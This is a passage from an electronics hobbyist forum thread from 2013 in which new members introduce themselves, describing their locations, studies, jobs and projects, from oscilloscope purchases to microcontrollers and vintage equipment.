So I collected quite some experience now, but my favorite episodes still the tutorials,
because they give me a lot of more knowledge.

Regards,
Majki

Title: Re: New Member, Please introduce yourself
Post by: andersml on April 06, 2013, 09:48:34 am
Hello from Denmark. Very new to all this electronic stuff.
Title: Re: New Member, Please introduce yourself
Post by: onehunglo on April 06, 2013, 02:42:25 pm
Hello all, been watching Dave's video for a while. Have always been interested in electronics as a kid (even had the type of kits Dave showed in one of his vids!). Didn't go into electronics (computer science instead), however its all interesting and hopefully want to be able to make neat things and buy the fun toys :)
Title: Re: New Member, Please introduce yourself
Post by: BiOzZ on April 06, 2013, 02:56:49 pm
Hello from maryland usa!

Im Alyx (yes its spelled like that) im a programmer and electronic engineering student at UMD (collage park) but im also a photographer and 3D artist! i love mixing all my hobbies togeather and making art ^^

i started with electronics when i was really really young with a radioshack kit than it only went up from there!

started watching daves videos a few months ago and was HOOKED i have seen almost all of them and i check the main page every day!

i would love to hear more in depth specific things like components (instrumentation amps, opamps, DACs, ADCs, ePots EXC)

PM me if you are interested in my 3D work or art ... i take requests ^^

3D >
(http://i.imgur.com/7xHGCVml.jpg) (http://imgur.com/7xHGCVm)

Photography >
(http://i.imgur.com/xVz1H9hl.jpg) (http://imgur.com/xVz1H9h)
Title: Re: New Member, Please introduce yourself
Post by: ram on April 07, 2013, 12:53:43 am
hello ,I AM RAM,I am studying at SV UNIVERSITY,TIRUPATI,INDIA
Title: Re: New Member, Please introduce yourself
Post by: Lui on April 07, 2013, 08:11:39 am
Hello from London. Very new to all this electronic stuff. but very much like to learn.it's fascinating!
Lui
Title: Re: New Member, Please introduce yourself
Post by: tobyrobb on April 07, 2013, 12:49:56 pm
Hi i'm Toby,

Blue Mountains Australia. Not Austria.

Electronics enthusiast.

Mostly microntrollers.

Title: Re: New Member, Please introduce yourself
Post by: microbug on April 07, 2013, 11:19:01 pm
Hi, I'm Richard. I'm a (slightly geeky) teenager and am very interested in electronics and computing / programming. I have worked quite a lot with high voltage, most recently making a high voltage flyback transformer driver that can (attached to a flyback transformer) produce 50KV sparks that go through multiple layers of electrical tape.
Title: Re: New Member, Please introduce yourself
Post by: DThodoris on April 08, 2013, 02:55:36 am
Hi Dave, hi everybody my name is Thodoris I am 32 years old and I live in Greece.I currently work as a session musician, i teach at music schools and last but not least i am an EE doing repairs in audio related equipment.EEVblog is awesome and Dave...you are THE inspiration!Thank you for all the knowledge and the enthousiasm that you share with the community  :-+
Title: Re: New Member, Please introduce yourself
Post by: blasto9000 on April 11, 2013, 02:36:53 am
Howdy gentlemen, new guy from Los Angeles here.  A hobbyist, not an electronics professional.

I wound up on EEVBlog while researching the Owon SDS7102 oscilloscope.  I guess it's been a while since I've shopped oscilloscopes, because I was really surprised at the $450 price tag of the Owon.  I ended up buying one to replace my 30 year old Heathkit scope (which still works and is in mint condition BTW).  Unfortunately, the Heathkit is next to useless for one-shot events... I was setting up my digital camera on a mini-tripod in front of the screen with the shutter speed set to 1 second.  Set the self-timer on the camera and when I heard the shutter open I'd hit "the button" of whatever it was I was working on to get a photo of the event.

The long exposure and persistence of the phosphor screen worked well enough together, I guess.  I was just sick of the 30-40 second process to get a capture.  Plus the Heathkit has very limited bandwidth.  The Owon is MUCH easier and more fun to use.

Now after a long day of sitting in traffic I can have some morale time in the workshop without having to cut out the lights, pull out the camera and boot up the PC.

Been reading EEVBlog for some weeks now... joined so I could bounce some questions off of you sharp fellas. ;-)
Title: Re: New Member, Please introduce yourself
Post by: rec on April 11, 2013, 10:03:55 am
Greetings Electronauts --

I'm joining from Santa Fe, New Mexico, USA.  I've been making softwares for maybe 35 years and building various fiddly electronics stuff as entertainment for 25 years off and on, more on of late.  I'm a radio amateur so a lot of the stuff is radios and radio test equipment.

I've been supporting Aussies since I bought a bunch of Dontronics SIMMSticks over 10 years ago.  I first wandered onto Dave's video blog when he reviewed the iTead (or was it iSeeed?) PCB prototyping service a few years ago.

Project of the moment is making a portable version of a Softrock Ensemble RXTX transceiver from http://fivedash.com/, (http://fivedash.com/,) for which the uSupply may be promising.

-- Roger E Critchlow Jr
-- rec
-- ad5dz
Title: Re: New Member, Please introduce yourself
Post by: xrunner on April 11, 2013, 10:07:09 am
Hi I am located in Texas and I joined because I like Dave's reviews and humor. I use electronics in model railroading.

I'd say this forum is a beauty!
Title: Re: New Member, Please introduce yourself
Post by: Dr. Frank on April 12, 2013, 06:38:35 am
Hello, I’m Frank, from Frankfurt.

David’s nice videos attracted me, because ever since being a teen, I likewise had to open and disassemble every technical gadget in my reach, to see what's inside, and to learn how it works. In fact, most of it did still work afterwards.  8)
Back then, I designed electronic counters (TTL graveyards & OCXO) and digital multimeters.

In the early 80s, serving in an Air Force Cal Lab, I - once again - had to open, repair and calibrate any kind of multimeters.  I came in touch with the latest and sophisticated calibration equipment of that era from HP, Fluke, Tek, etc. Consequently, Metrology became my biggest passion.

I have studied solid state physics; focus on experimental Low Temperature Physics.  The analysis of the magnetic behavior of High Tc Superconductors by AC measurements on nV level, required thorough experiments on shielding techniques.
Amongst other devices, I designed precision DC and AC current sources for the institute, and programmed all kind of GPIB and RS232 instruments from scratch, in Pascal and Assembler.
For sure, on receipt of each new and precious piece of instrument, first of all it had to be inspected internally.  >:D
 
Nowadays, I work in the automotive electronics industry, in the development, as a technologist for electronic and mechanical components, and taking care of changes and long term supply.

I still collect and refurbish vintage high grade equipment, mainly HP and Fluke. For instance, the ones mentioned above, were nowadays accessible and affordable, after the end of the Cold War.

The measured level of stability in my analog lab in the basement (constant RT), is < 1ppm/yr. each for VDC (group of 4 references),  and Ohm (5 ref's). DCV Decade Transfer uncertainty is ~1ppm.
Upstairs, in my digital / time lab, I achieve Allan Variance stabilities of < 1e-11/s by a Rb clock, and  1e-12 .. 1e-13/d by Thunderbolt and Lady Heather.

Glad to meet you soon in David’s forum.

Frank
Title: Re: New Member, Please introduce yourself
Post by: drago275 on April 12, 2013, 08:04:16 am
Hi all
I am Drago i am from Croatia. 
have a bachelor degree in power engineering.

AND Really enjoying this EEVblog :)


 :-BROKE
Title: Re: New Member, Please introduce yourself
Post by: HVM_Electronics on April 13, 2013, 07:21:37 am
Hi everyone  :)

I’ve recently started watching the EEVBLOG YouTube channel, I am enjoying it and thought I’d get on the forum to hopefully gain more knowledge in electronics and make some new friends.

A bit about me: I have completed an Engineering GCSE, (general) Engineering B-Tec (level 3) and I’m now progressing towards a HND in General engineering (level 5).  I am heavily interested in Engineering, more specifically Electronic engineering and Technology. My current projects (at home) include a tracked robot with 1kw motors  :-DMM  per track (2 tracks total), a custom pc (Operational, yet an ongoing project), a pick and place machine with multiple rotary heads and a CNC machine.

Thanks for reading,
keep up the good work Dave :-+


Title: Re: New Member, Please introduce yourself
Post by: kb3pxr on April 14, 2013, 11:30:42 am
Hello, my name is John and I'm from Pennsylvania in the United States of America. I'm a radio Amateur and my user ID is my callsign. I've been interested in electronics, but the amateur radio hobby really kicked it into high gear for me. I love watching the EEVblog on YouTube.
Title: Re: New Member, Please introduce yourself
Post by: Barny on April 14, 2013, 08:09:10 pm
Hi

I'm form Austria (not Australia).
To be exact upper Austria.

I'm an machine fitter which goof around with electronic stuff.

Sorry for my really bad English.
Title: Re: New Member, Please introduce yourself
Post by: sullyRD on April 15, 2013, 12:13:34 pm
I'm Sully from the UK its great to be finally part of Dave's forum i have watched almost all his videos he has really brought some life to the electronics world with his enthusiastic Electonics videos nice one mate.

I have had my own computer repair business for the last 15 years and have been into the electronics side about 10 years i got into the electronics side so i could repair the Mainboards rather than discard them so it saved my customers money, it has been a very worthwhile investment  and i have a great number of loyal customers.

For my Electronics diagnosis i use two Fluke 87v's as i find they are the most accurate and reliable Multimeters on the market i have a 28 year old Fluke 23 that has been a long time companion but sadly the continuity went nuts a few years ago so i was forced to invest in some 87v's which i do not regret in the least.

I not only repair computers at a software and hardware level i also repair almost anything if it has a circuit board in it because i love a challenge.

I have followed dave's blog videos since about video number 50 but have never had any reason to join the forum because i have been so busy. I have decided to take a break from work for a while which is why i decided to join the group now. ;)
Title: Re: New Member, Please introduce yourself
Post by: Joules on April 16, 2013, 08:26:31 am
I'm Joules,
               got the nickname during my electrician apprenticeship.  Re trained and worked for many years as a computer engineer for a local university.  Had a fantastic time till they outsourced repairs and offered me a management position.   Now semi retired, like to play with low power digital electronics like the Raspberry Pi and anything electro mechanical especially diesel/petrol generators.  Also an interest in renewable energies, my workshop pretty much runs off the 1kw of solar I installed some years back, its fully off grid with 4.8kw of battery storage to keep me working through the night...  Well, in the summer anyway considering this is the UK.
Title: Re: New Member, Please introduce yourself
Post by: VanitarNordic on April 17, 2013, 07:56:05 pm
Hello to all.

I'm founder of Vanitar Nordic Company in Göteborg-Sweden.

We are deliverng PC repair, software, website design and electronic design services internationally.
Title: Re: New Member, Please introduce yourself
Post by: JP5000 on April 17, 2013, 11:47:08 pm
Hi guys my hobby of electronics started at a very young age and now at the age of 34 have got some time to learn and share what knowledge i have. My main hobby's are electronics, electrical engineering, cars, lighting and lighting controls.
Title: Re: New Member, Please introduce yourself
Post by: k7-3d on April 18, 2013, 11:55:49 pm
Hi'
Name is Christopher and i am from Norway and live in denmark and have lived der sins 2002, i work as an electrisan and du som EE in my spear time :-)
Title: Re: New Member, Please introduce yourself
Post by: magicsmoke on April 19, 2013, 05:01:41 pm
Hi,

I am interested in power electronics and motor controls.  I also do some low-frequency electromagnetic design.  I am starting to get into more general low power electronics also.
Title: Re: New Member, Please introduce yourself
Post by: gotnoise on April 19, 2013, 11:28:02 pm
Hi,

I am a tech-oriented neuroscientist at a university who is currently trying to switch into the neuroscience-oriented tech industry. My goal is to get into R&D of a company that builds equipment for neuroscience and clinical applications. Electronics have been my hobby for a few years but I am still a beginner since job and family keep me busy most of the time.

I already learned a lot from you guys, so now I will try my best to contribute as well!

Cheers,
gotnoise
Title: Re: New Member, Please introduce yourself
Post by: TacticalCode on April 20, 2013, 11:14:34 pm
Greetings from Germany!

My name is Damon and I've come through Dave's way too addictive videos across this board.
I love messing around with electronics so I thought this place would be a good one to start learning some more details about the topic.

General info: I'm currently 19 years old, live in Germany, will pass my university-entrance diploma in a couple of weeks and then study it-security. Yes, software guy. But I'm just starting to do some hardware mods/hacks and fiddling around with an arduino+raspi.
If anyone is interested: My blog is here: http://tacticalcode.de/ (http://tacticalcode.de/)
Title: Re: New Member, Please introduce yourself
Post by: joab on April 21, 2013, 01:53:16 am
Hi!

I'm a Swedish guy and I'm currently studying Electronics and Computer Engineering at KTH (Royal Institute of Technology) in Sweden. I'm very interested in both electronics and programming.
Title: Re: New Member, Please introduce yourself
Post by: Slowflyer on April 21, 2013, 10:32:12 pm
I am a 15-year old boy from Finland, and have always been into everything technical. I don't really like software so i do mainly hardware.
I'd like to learn machining and mechanical stuff, but a machine shop isn't possible right now. :'(  I tend to loose interest in the project that i'm working on. They often just vanish until i dig them out from my box of uncomplited things some day and start working on them again.
I have been a big fan of Daves blog all the way from it's early stage. It has given me lots of information about building a good lab and electronics generally.
Title: Re: New Member, Please introduce yourself
Post by: commongrounder on April 22, 2013, 01:18:41 am
Greetings!
My name is Geoff.  Since 1980 I have owned and operated an audio equipment service and audio transfer business in Vermont.  I came across Dave's video blogs and this board during my research into digital oscilloscopes.  I've owned a Fluke 199C scopemeter for many years and, after recognizing its limitations, have watched the amazing evolution of digital scopes ever since.  I finally decided that this was the time to buy in, and I haven't regretted it so far (I settled on an Rigol DS4012).  My big challenge now is going to be trying my best to avoid becoming addicted to this board and never getting any work done! ;D
Title: Re: New Member, Please introduce yourself
Post by: nickmartinblue on April 22, 2013, 09:59:16 am
I'm from Calgary, Alberta, Canada

Currently going to SAIT (Southern Alberta Institute of Technology) taking ENT (Electronics Engineering Technology) have been a viewer for a year, going to be graduating SAIT in 2014. I have always been interested in electronics and used to take apart anything that broke in the household, now I am buying things and taking them apart before I power them on.
Title: Re: New Member, Please introduce yourself
Post by: owlhawk on April 23, 2013, 12:12:42 pm
I'm Chris, an engineering student at the University of Wisconsin - Madison. Been watching the show since the very beginning, but never been much of one for forums.

Told myself I'm going to be more involved this year... keeping a blog of projects and trying to contribute some here. I've a learned a lot from both the blog and the forums, so hopefully I can give something back.
Title: Re: New Member, Please introduce yourself
Post by: Jasmine on April 23, 2013, 01:43:06 pm
Hi,my name is Jasmine,from China,nice to meet you all...I am not good at electronic,but i hope can learn from this year,as i am having a job which is electronic related ;)
Title: Re: New Member, Please introduce yourself
Post by: Lowlife on April 23, 2013, 05:05:28 pm
I have been reading around here for a couple of weeks figure I should say hello. I am from Oklahoma USA.

Howdy

Sent from my HTC One X using Tapatalk 2

Title: Re: New Member, Please introduce yourself
Post by: Oculus on April 24, 2013, 09:31:31 am
Hello, I'm Kestutis from Lithuania. I'm actually a software engineer, but it always seemed like it's just not enough, something was missing in the equation and so, a little less then a year ago I got myself involved into electronics.

Started low with simple stuff until I stumbled upon arduino (yes that same arduino everyone most likely know). From there on I got literally hooked with micros, though I kind of hated the arduino IDE and the variation of C, so I decided that I would go for programming in vanilla C which I was fairly familiar with from work and everyday life, so I bought myself an ATJTagICE 3 and it was all fun and dandy until I found myself in need of USB controller on a µC and it so happened that I wasn't able to find a DIP packaged AVR chip for that purpose, not to mention the QFP and QFN ones having so much unneeded stuff on them in addition to the USB that it was an overkill. Simply put, I decided to go the PIC route for this and so, thought about buying a PICKit and needed some advice about buying it, what actually led me to this forum (Not to mention that I was a fan of EEVBlog on youtube from the day I got into electronics, even if that was not that long ago).
Title: Re: New Member, Please introduce yourself
Post by: BlueScreen on April 25, 2013, 02:07:15 am
Hello all,

My name is Glenn, and I am a 38 39 year old male person living in the little idyllic resthome town of Carterton, in New Zealand. (Map Reference: 41.0333° S, 175.5333° E).

I am repeating my High School education, slowly but surely, as I missed out on it first time round.

Take Care all.
Glenn.
Title: Re: New Member, Please introduce yourself
Post by: kkelley311 on April 25, 2013, 06:13:07 pm
Hello Ladies and Gentlemen,

My name is Kevin Kelley.  I have recently gotten myself into a little electronics project and realized that I needed some advice.  That's how I wound up here.

I do have some experience with basic electronics.  I recently graduated from the University of Memphis in Memphis, TN with a BS in Mechanical Engineering and a second major in Physics.  But my experience with electronics does not extend far beyond basic electronics courses and physics courses taken in college.

I am open to advice and very much appreciate the time that those more knowledgeable spend giving said advice.

Thank you very much for having me!
Title: Re: New Member, Please introduce yourself
Post by: Memphis on April 25, 2013, 09:16:32 pm
Hi,

My name is Tomas Kamenicky (Tom Stone in English  ;D). I am the development engineer of HW & SW. Already did a lot of projects and gained Ing. degree at Czech Technical University in Prague. I did study robotics, cybernetics, sensors and instrumentation techniques  >:D

If you interested more about my work (diploma, bachelor and company thesis/work) see my linked in page (http://www.linkedin.com/in/kamenicky/en).

Also I love my car (http://mk3.scirocco.cz/viewtopic.php?f=4&t=24), and all cool stuff such as EEVblog  :-+
Title: Re: New Member, Please introduce yourself
Post by: Spiros on April 27, 2013, 08:13:02 pm
Hi eevblogers,

My name is Spiros and i am from Greece. I am an undergraduate student in Technological Educational Institute of Kavala, Greece. I study on Industrial Informatics.(includes electronics a bit and programming)
Title: Re: New Member, Please introduce yourself
Post by: SpectrHz on April 29, 2013, 09:30:59 am
My name is Emily, a maker and one who studies all aspects of science and engineering. I love Electronics, Mechanical engineering, Chemistry, Physics, jet technology and propulsion. And just about every aspect of science. At the moment I am studying Gunn diodes and Doppler radar transceivers like those used police radars and radar detectors. Also looking into building a Farnsworth Fusor or small linear Accelerator for silver activation. I also love lab glassware, I use it daily and the way it looks just makes me happy. :)  Currently looking for a nice old Lecroy digital oscilloscope to call my own and go with my Hitachi V-222 analog scope.

I have a Youtube channel if anyone is interested, but will probably use this website and blogspot more often that Youtube due to my horrendous internet.
http://www.youtube.com/user/spectrHz (http://www.youtube.com/user/spectrHz)
http://spectrhz.blogspot.com/ (http://spectrhz.blogspot.com/)
Title: Re: New Member, Please introduce yourself
Post by: Fuse_Burner on April 29, 2013, 10:41:11 am
Hello from Jeff in the Appalachian foothills of Ohio  ;D

I'm not sure I need to post here to complete my registration (some forums require it), but I figured it couldn't hurt  :-+

My background is machining, 20 years of it, but the loss of manufacturing here forced me to finally close my shop.  During those years I was forced to trouble shoot machine controls vs waiting on repair companies, and I was pretty decent at it.  I also implemented CAD systems and local intranets for program generation and storage.  In fact, I struggled as a youngster whether to go mechanical or electrical in HS, both motivated me, but in the end I chose machining and got a 2 year vocational card in machining.  It served me well, and I absolutely love machining, but as my banker told me when I closed the shop ....... I was making buggy whips in the 21st century!

College was never really a choice back then, but now here I am studying for an AAS in electronics ........... so go figure  :-//
Title: Re: New Member, Please introduce yourself
Post by: Keef Wivanef on May 02, 2013, 05:53:50 pm
Hello
I'm a little teapot.
I are an engineer as well.
I know bullshit when I smell it.

 :-DD
Title: Re: New Member, Please introduce yourself
Post by: Korken on May 03, 2013, 08:33:11 pm
Hi there!

My name is Emil Fresk, 24 years old and I'm from the most northern parts of Sweden in Luleå (at the Luleå University of Technology) where I have just finished my Masters degree in Engineering Physics and Electrical Engineering (major in EE and Control Theory).
I will start my PhD in UAVs starting this autumn and I'm really looking forward to it!

I really like electronics and will continue with it for a long time!
Title: Re: New Member, Please introduce yourself
Post by: Volther on May 03, 2013, 09:39:06 pm
Hi, my name is Hadrien and i'm from belgium...

I have recently concluded my high school studies in bio-electronics.
i'm here to find some tips for my personnal projet and also upgrade my english...

Title: Re: New Member, Please introduce yourself
Post by: glatocha on May 04, 2013, 12:19:28 pm
Hi all,

I am a professional automation engineer and in my free time I do some electronics.
greetings for all
Title: Re: New Member, Please introduce yourself
Post by: keitheevblog on May 04, 2013, 01:42:06 pm
Greetings fellow electronics freaks from Pittsburgh, Pennsylvania.

My name is Keith and I do SQA by day, and run a retro-computing-ish blog at http://www.techtravels.org (http://www.techtravels.org) for those interested.

My main interests lie in the Commodore Amiga but also in FPGAs, especially when it comes to emulating/simulating/reimplementing old computers.
Title: Re: New Member, Please introduce yourself
Post by: garfunx on May 06, 2013, 01:46:00 am
Hi,

I'm Vincent, and I work with Linux embedded systems.

I also like to develop digital art project with artist friends.
Title: Re: New Member, Please introduce yourself
Post by: danpoarch on May 08, 2013, 12:43:11 am
I'm Dan, an EE student at the ripe young age of 40. Long background in digital imaging, namely digital prepress, image retouching and device calibration. But nobody prints anything anymore so I'm back in school.

I love what I'm studying but I don't always comprehend everything that we're covering. Like transistors. I can look at an opamp and understand the gist of what's happening but I look at a transistor and compare its aesthetics to cathedral architecture and get bored...

When I'm not studying I do things like recap old Macs (SE/30s and the like). I'm currently working on a Tek 2467B renovation, somewhat ironically doing exactly what I do to the Macs.

Living in Washington, DC, moving to Chicago, Illinois in a couple months.

Enough about me, tell me more about you...
Title: Re: New Member, Please introduce yourself
Post by: TheEPROM9 on May 08, 2013, 01:15:37 am
Hello I am Simon Lyne, studying computer networking at university. Avid hobbyist in electronics and computing.

There are two passions I have, electronics and computers. It was a hard choice on what to follow.

I have a internet presents, three websites although one is no longer used, and a YouTube channel where I do computer, electronics and some gaming stuff. I love me some vintage computers or obscure military tech. Also enjoy photography. :-DMM

Electronics Website: http://www.eprom9.comeze.com/ (http://www.eprom9.comeze.com/)
Computing Website: http://youtube.eprom9.comeze.com/index.html (http://youtube.eprom9.comeze.com/index.html)
YouTube Channel: http://www.youtube.com/user/TheEPROM9 (http://www.youtube.com/user/TheEPROM9)
Title: Re: New Member, Please introduce yourself
Post by: TriNitroTolueen on May 11, 2013, 06:45:24 pm
Hi,

I'm a student in computer science-embedded systems. Currently i'm finishing up my masters thesis and looking forward to start working in a month or two.

I have been a reader on this forum for a little while now and I must say this has to be one of the most friendly forums on the internet. Question get answered without name calling. This feels like a nice place where people with common interest can talk in a civilized manner. I am really glad I found this place!
Title: Re: New Member, Please introduce yourself
Post by: cetchmoh on May 12, 2013, 05:25:06 am
Hey ho!
My name is Jan and I started a few month ago to try and repair broken electronics.
I don't have a formal educational background on electronics but I do my best to keep up ;)

I have been a lurker around here for quite some time, but I finally gave in and registered :D

Cheers  O0
Title: Re: New Member, Please introduce yourself
Post by: Ecobion on May 15, 2013, 10:35:12 pm
Hello from Farnborough, Hampshire, in England (that's England, United Kingdom, not New England, USA). Farnborough is famous for being where avaition started in Britain, and where a lot of secret electronics technology is developed by the likes of BAE Systems, and Qinetiq who are based here.

(http://farm4.staticflickr.com/3279/2685906423_9d0ef54f7b_z.jpg)

I've just completed an EEVBLOG video marathon that's taken the past few months to finish!  :palm: What can I say about it? It's the duck's guts! Apart from my internal monologue picking up an Australian accent, Ive learned a lot from it, and had moments of inspiration come about as part of the experience. The question is what do I do now? Perhaps I'll start some You Tube videos of my own.

I'm in the early days of starting up an eco-tec business, studing engineering (including electronics engineering) one day a week at college to boost my knowledge. I hope I can make a positive contribution on the forums, and I'm sure there'll be a lot I can pick up from it.  :-+

Brent
Title: Re: New Member, Please introduce yourself
Post by: MikeCL on May 16, 2013, 12:31:42 am
New Member here from Connecticut, USA I like working on electronics and working on small DIY projects, I have a question but it seems my thread does not get posted.
Title: Re: New Member, Please introduce yourself
Post by: Ecobion on May 16, 2013, 01:40:54 am
You made 2 posts, and I can read them just fine.
Title: Re: New Member, Please introduce yourself
Post by: MikeCL on May 16, 2013, 02:30:48 am
You made 2 posts, and I can read them just fine.

Thanks I guess it had something to do with the attachments I tried to post this morning, it would act like it posted but the thread never showed up.
Title: Re: New Member, Please introduce yourself
Post by: Chipguy on May 17, 2013, 04:21:10 am
Hello,

Ok here we go:
My name is Chip, i am from Germany.
I work as a Hardware Design Manager/Engineer (yeah fancy description  ;) ) at a small company.
Usually i design sensors and meters which measure stuff like conductivity in fluids, pressure, temperaure, pH, flow rates etc.
I also do power stuff like little local switchmode power supply (yes i evade to say POL) and lot's of digital stuff.
I use MSP430 as well as ARM processors from various manufacturers.
FPGA's and CPLD's are also part of what i do, but i usually stay with the smaller devices.
Designing with embedded PC modules is also part of my job.
Since the company is small i am also the network and system admin having to maintain around 20 computers and servers.

On a daily basis i use IRC as a way to communicate with other nerd's in real time.
I really really like teardowns and get excited whenever there is a Tuesday :)

Hmm, i think thats all that matters for now :)




Title: Re: New Member, Please introduce yourself
Post by: tannercollin655 on May 20, 2013, 04:55:36 am
Hi,

My name is Tanner and I am a Canadian electrical engineering student.

I look forward to reading these forums!
Title: Re: New Member, Please introduce yourself
Post by: xxx1987virusxxx on May 20, 2013, 05:40:41 pm
hi..good day to all im larry camacho jr.from philippines electronics tech..im very happy joining forum like this...thank you.. :)
Title: Re: New Member, Please introduce yourself
Post by: scalzomen on May 20, 2013, 07:26:04 pm
Hello guys,

I am an Electronics Engineer form Italy and unfortunately I am not working in the electronics field  :'(

I am interested at electronics technology and I like to repair everything!

Hope to pass a great time here!

 :-+
Title: Re: New Member, Please introduce yourself
Post by: DanHamer on May 21, 2013, 12:23:10 am
Hi, I'm Dan. I'm a Design Engineer from the South East of England. I work for a manufacturer where I design robotic automation equipment for medical laboratories. In my spare time I tinker around with electronics, computers, CNC machines and 3d printers to name but a few of my areas of interest. I've had a keen interest in hobby electronics since I was a child but have recently started to take my hobby in a more enterprising directions (www.carbonfrog.com (http://www.carbonfrog.com)). For many years now I have been programming PIC's but have also recently taken an interest in Arduinos and AVR's.

I have many tools and pieces of equipment but my most recent pride and joy is my Rigol DS1102E. I also recently bought a Fluke 87iii.
Title: Re: New Member, Please introduce yourself
Post by: Msquare on May 21, 2013, 03:07:01 am
Many years ago - early 70'ies - I made, or tried to make my own PCB and a simple lightshow (amplifier to blink the lights, through some very simple filters. The project failed. I then did computers instead, software is so much more forgiving and "mallable".

Recently though I've rediscovered this as a hobby. It is SOOO much easier with internet. Found a strange chip? Google -> full datasheet. (Just getting a datasheet to select a component was a hassle!). Making electronics a little "intelligent" (like moving a motor a small amount) was difficult. Insert a simple microchip and the simple electronics can be enormously "intelligent".

Don't know yet what I'll ask or contribute here - but it seems a good forum.

Msquare
Title: Re: New Member, Please introduce yourself
Post by: eps on May 21, 2013, 06:18:09 pm
Hi,
I am a mathematician from Germany.
I recently started to learn electronics to gain practical experience with electromagnetic phenomena and to build things for fun.
Title: Re: New Member, Please introduce yourself
Post by: msousa on May 22, 2013, 12:23:57 am
Hi

I'm a systems engineer working in the development of autonomous vehicles. Right now, working on how one would train the AI unit of an AV.
Title: Re: New Member, Please introduce yourself
Post by: gocemk on May 22, 2013, 09:30:29 pm
This should have been my first post, not my seventh, so i apologize for that.

I am nearing the end of my studies in Electrical Engineering, (Control System Theory and Automation to be more precise). Throughout the studies i also had several jobs ranging from TV and PC service technician to service technician for mechatronics and electronics on Mercedes-Benz vehicles. At the moment i'm trying to learn everything i can about embedded systems design, microcontrollers and FPGA's. Following the eevblog and it's community has been very helpful and interesting.

Goce.
Title: Re: New Member, Please introduce yourself
Post by: JuniorJack on May 22, 2013, 09:40:35 pm
Hello,

Great forum, lots more to read still. I am freelance software developer and hardware enthusiast from the UK. I mostly do reverse engineering and some bits of embedded development. Have been working with Atmel ARM microcontrollers for some years, finally have moved to STM32F4.

I came here because of the great videos Dave puts on YouTube.

Regards, Chris
Title: Re: New Member, Please introduce yourself
Post by: einstein on May 24, 2013, 07:17:33 am
I'm Rian from Belgium and i study electronics.... I discovered the eevblog two months ago by searching info about power supply's and watched Dave his series about his psu project. And a few minutes ago i clicked the subscribe button...

(ps EEvblog #500 is coming soon, Dave, do you plan to do something special?)
Title: Re: New Member, Please introduce yourself
Post by: Matster Chief on May 26, 2013, 08:42:40 am
Hello i'm Matt from the USA and im really new to electronic engineering relm. looking for help and advice on how to get started and where to learn all this stuff.  :-+
Cheers!
Title: Re: New Member, Please introduce yourself
Post by: oldticktock on May 26, 2013, 05:04:54 pm
Hi my name is Chris,

I've been a lurker for a considerable while, I decided it was time to come out of the shadows.

I'm at the other historic end of the subject matter, restoring vintage tech and run my own website/ forum for that. However I do love all electronics and find  I daily visit this fantastic site.

Love the video blogs and the wealth of info contained within,  plus all the other excellent services and knowledge offered by this community.

I doubt I will be a great contributor but you will find me a staunch supporter.  :-+

Regards
Chris

P.S.

Dave, love fundamental Friday's, you have a great way of getting over information that does not make people glaze over. Like everyone else really enjoy your Tear Down's
Title: Re: New Member, Please introduce yourself
Post by: Leon on May 26, 2013, 06:11:50 pm
Hi, my name is Leon and I'm a software engineer from the Netherlands. I occasionally build electronics as a hobby, and have been reading the forums for a long time.
Title: Re: New Member, Please introduce yourself
Post by: Mustang on May 27, 2013, 04:54:59 pm
Hello, I'm Peter a genuine Brush Signwriter from way back trying to come to grips with modern technology.
Title: Re: New Member, Please introduce yourself
Post by: belba on May 30, 2013, 12:48:58 am
Hello, my name is Guido. I'm from Ruhr Area in Germany.

Job related I have nothing to do with electronics. I'm just using it. In my free time I like to repair and refurbish electronic stuff. I like also to understand how these things works and for that reason I found the EEVblog (and also mikeselectricstuff) on you tube.
I think as a small thank you for that I want publish sometimes stories about a tear down or a restore.

Title: Re: New Member, Please introduce yourself
Post by: Vgkid on May 31, 2013, 03:00:26 pm
Hello, my name is Hunter,and  I live in Virginia. I have meen a lurker for almost 2 years, but I am a subscriber to the GenRad Yahoo user group.
Title: Re: New Member, Please introduce yourself
Post by: wigman27 on June 04, 2013, 12:22:06 pm
Sorry, put this in the wrong spot initially.. Brain fart..

Hi!

As the subject says, I just wanted to say G'day, I'm Lee from Lithgow NSW. I have had an interest in electronics for a long time, sort of stemmed from my Dad really. I have almost finished my Advanced Diploma of Electrical Engineering and currently work designing high voltage overhead and underground power lines. Love it!.

I look forward to talking to a lot of you, probably asking a lot but hopefully helping where I can.

Talk soon I'm sure!

Lee
Title: Re: New Member, Please introduce yourself
Post by: manticore00 on June 05, 2013, 01:51:31 am
Hi all, my name is Will. I've been a long term lurker and thought it was about time I finally signed up for an account. I'm an IT systems and software engineer by trade and I can thank Dave and this forum for getting me interested in EE about a year and a half ago. I recently started playing around with microcontrollers and began playing with the Atmel xplained xmega-a3bu dev board this past weekend. (Btw if anyone else had as much trouble as I did getting Atmel Studio 6.1 to work with TFS I found this plug-in that fixes everything: http://visualstudiogallery.msdn.microsoft.com/bce06506-be38-47a1-9f29-d3937d3d88d6 (http://visualstudiogallery.msdn.microsoft.com/bce06506-be38-47a1-9f29-d3937d3d88d6))

Regards,
Will
Title: Re: New Member, Please introduce yourself
Post by: Legit-Design on June 07, 2013, 01:28:27 am
Just wanted to introduce myself. Been watching eevblog for a very long time. Also writing on this forum makes me a contributing viewer of the blog.
Title: Re: New Member, Please introduce yourself
Post by: carbon dude oxide on June 07, 2013, 08:32:13 am
hello, i am an electronics hobbyist in the UK who is going to be doing an apprenticeship in electronics later this year. All that i know has been self taught as no schools in my area do electronics :(

the eevblog videos and forum have been a great help in increasing my knowledge in electronics and i always look forward to the next blog video :D

the forum has helped me alot in solving some design problems or just helping me to start a new project.

thanks :D

Title: Re: New Member, Please introduce yourself
Post by: bambam on June 10, 2013, 01:47:22 am
Hi all

A very keen hobbyist here from the uk. Really enjoying the blog and hoping, one day to be able to contribute.
Title: Re: New Member, Please introduce yourself
Post by: vlelet1969 on June 12, 2013, 01:54:09 pm
I almost forgot to introduce myself because of the interesting topics I've been reading on this forum. I am glad to join this forum and learn from the wealth of knowledge shared by the members.
Title: Re: New Member, Please introduce yourself
Post by: Ahseyo on June 14, 2013, 04:33:06 am
Hi all I'm 18 years old and tomorrow actually, getting my electronics degrees and certificates and graduate! :D I've been studying electronics for about 3 years now in a school and going to start work soon. I love electronics and am a typical geek who likes anything techy.
Besides my electronics interests lies philosophy, music and programming.
Title: Re: New Member, Please introduce yourself
Post by: Fezder on June 14, 2013, 04:44:40 am
Hi all I'm 18 years old and tomorrow actually, getting my electronics degrees and certificates and graduate! :D I've been studying electronics for about 3 years now in a school and going to start work soon. I love electronics and am a typical geek who likes anything techy.
Besides my electronics interests lies philosophy, music and programming.

